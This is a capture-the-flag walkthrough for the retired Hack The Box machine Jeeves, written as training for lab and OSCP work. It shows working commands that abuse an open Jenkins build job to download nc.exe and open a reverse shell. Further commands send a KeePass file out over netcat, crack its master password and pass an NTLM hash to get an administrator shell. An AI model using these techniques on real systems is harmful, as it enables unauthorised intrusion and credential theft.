This walkthrough is for the HacktheBox retired machine named Jeeves.
We pick Jeeves from the list:
Foothold
We start with a usual nmap
scan:
nmap -sS -T4 -p- -A 10.10.10.63
Output:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-02 13:07 EST
Nmap scan report for 10.10.10.63
Host is up (0.073s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (91%), Microsoft Windows 10 1511 - 1607 (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), FreeBSD 6.2-RELEASE (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%), Microsoft Windows Server 2016 (85%), Microsoft Windows 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 5h00m27s, deviation: 0s, median: 5h00m27s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-01-02T23:11:14
|_ start_date: 2020-01-02T23:04:41
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 72.66 ms 10.10.14.1
2 72.71 ms 10.10.10.63
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 242.23 seconds
We can try to do another scan on the shares:
Then attempt to list shares:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-02 13:32 EST
Nmap scan report for 10.10.10.63
Host is up (0.073s latency).
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: No accounts left to try
Nmap done: 1 IP address (1 host up) scanned in 12.81 seconds
Not very promising without credentials.
We can then open a browser and go to http://10.10.10.63
.
It appears to be a search engine ripped off from the late nineties Ask Jeeves.
We can do a test search, which seems to take is to an “error” page… that I believe is an image?
In Terminal we can pull the page code to see what is going on:
curl http://10.10.10.63
Output:
<!DOCTYPE html>
<html>
<head>
<title>Ask Jeeves</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<form class="form-wrapper cf" action="error.html">
<div class="byline"><p><a href="#">Web</a>, <a href="#">images</a>, <a href="#">news</a>, and <a href="#">lots of answers</a>.</p></div>
<input type="text" placeholder="Search here..." required>
<button type="submit">Search</button>
<div class="byline-bot">Skins</div>
</form>
</body>
</html>
It appears that the search form sends to error.html regardless of what is put in there. There is also no JavaScript or anything else running to validate it.
curl http://10.10.10.63/error.html
Output:
<img src="jeeves.PNG" width="90%" height="100%">
So it is just an image.
I am assuming this box is trying to show an error code to help nudge instead of making it a functional error code.
If this is a reflection on that then we can assume the local path exposure is true.
From our nmap
scan we can also see there is another web server running on port 50000
.
curl http://10.10.10.63:50000
Output:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 404 Not Found</title>
</head>
<body><h2>HTTP ERROR 404</h2>
<p>Problem accessing /. Reason:
<pre> Not Found</pre></p><hr><a href="http://eclipse.org/jetty">Powered by Jetty:// 9.4.z-SNAPSHOT</a><hr/>
</body>
</html>
While we look for potential exploits we could run a directory scan:
dirb http://10.10.10.63:50000 -i
Let’s look for some exploits:
searchsploit jetty
According to our scan we can assume it is version 9.4, which leaves us with a promising one for Directory Traversal. This seems like it would be a good pair with our local path disclosure.
However, unfortunately this vulnerability has since been patched.
After what seems like a dead end I decide to run another directory scan. This time, with a directory found:
gobuster -u http://10.10.10.63 dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
When we navigate to the page we get a Jenkins website.
We don’t have a log on but if it is not restricted we may be able to setup a reverse shell script.
User
Click on create new jobs.
Enter a job name – I just used setup – and select Freestyle project then click OK.
Then under Build click Add build step then select Execute Windows batch command.
Enter code to download nc.exe
and create a reverse shell:
powershell.exe -exec Bypass -nonI -window Hidden (new-object System.Net.WebClient).DownloadFile('http://10.10.XX.XX:999/nc.exe','nc.exe')
cmd.exe /C nc.exe 10.10.14.11 4444 -e cmd.exe
In Terminal, create a new tab, copy nc.exe
to current directory and start a simple web server using python:
cp /usr/share/windows-resources/binaries/nc.exe .
python -m SimpleHTTPServer 999
In a new Terminal tab, setup the listener. We can do it with nc
:
nc -lvp 4444
Or we can use Metasploit meterpreter or Windows reverse tcp shell.
If you are practicing to get into the 🔗 OSCP course, I would recommend not getting too comfortable with meterpreter but highly recommend the multi handler still as I find the shells are a lot more stable than just nc
.
Let’s start Metasploit in a new Terminal tab:
msfconsole
Select the multi handler:
use exploit/multi/handler
Set our payload:
set payload windows/shell_reverse_tcp
Set our local host IP:
set LHOST 10.10.XX.XX
Run:
exploit
Back in Jenkins, save the job. Then in the left menu list click Build Now.
You should see the download happening from the web server tab:
Then check our Metasploit tab:
We can see from the whoami command that we the user kohsuke. At this point we can grab the user flag.
type C:\Users\kohsuke\Desktop\user.txt
Privilege Escalation
When looking into the kohsuke
user profile I found a .kdbx
file. Searching the file extension tells us it is a 🔗 KeePass file.
Using nc we can download the file to our local machine. In a Terminal on our local kali machine:
nc -lvp 444 > CEH.kdbx
Then back in our reverse shell:
C:\Users\Administrator\.jenkins\workspace\setup\nc.exe -nv 10.10.XX.XX 444 < c:\Users\kohsuke\Documents\CEH.kdbx
There is a command line tool we can download on our local machine for accessing KeePass files:
apt -y update
apt -y install kpcli libterm-readline-gnu-perl libdata-password-perl
Once downloaded we can run the tool:
kpcli
If we attempt to open it we will be prompt for a Master Password.
There is a KeePass cracking tool built in that we can run:
/usr/sbin/keepass2john CEH.kdbx
Then with the output we can attempt to crack it:
echo ‘CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48’ > keepass.txt
john --wordlist=/usr/share/wordlists/rockyou.txt keepass.txt
We luckily get a password.
If we run the KeePass command line tool again we can open the file:
kpcli
kpcli:/> open CEH.kdbx
From there we can use show -f <number>
to list the details including passwords.
The first one shows us an LM:NTLM
hash, which we can assume is the administrator password.
We can attempt to crack it or simple pass the hash with it. A quick test to see the shares again could prove if it works:
pth-smbclient -L 10.10.10.63 -U administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
No access denied error this time. Now we can create an administrative shell:
pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 //10.10.10.63 cmd.exe
Then go for the root flag:
Apparently not then.
I will admit I did do some scans such as dir /s root.txt
on the C:\
directory to be lazy but it brought me nowhere. Realizing it couldn’t have been far from the original directory and running dir /a /q
on everything I realised that I was missing the /r
switch.
It is setup using a file stream. I found a few articles that go into more detail about it:
🔗 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067
🔗 https://docs.microsoft.com/en-us/windows/win32/fileio/using-streams
🔗 https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream
We can then open the file stream with:
more > hm.txt:root.txt
Success 😎 .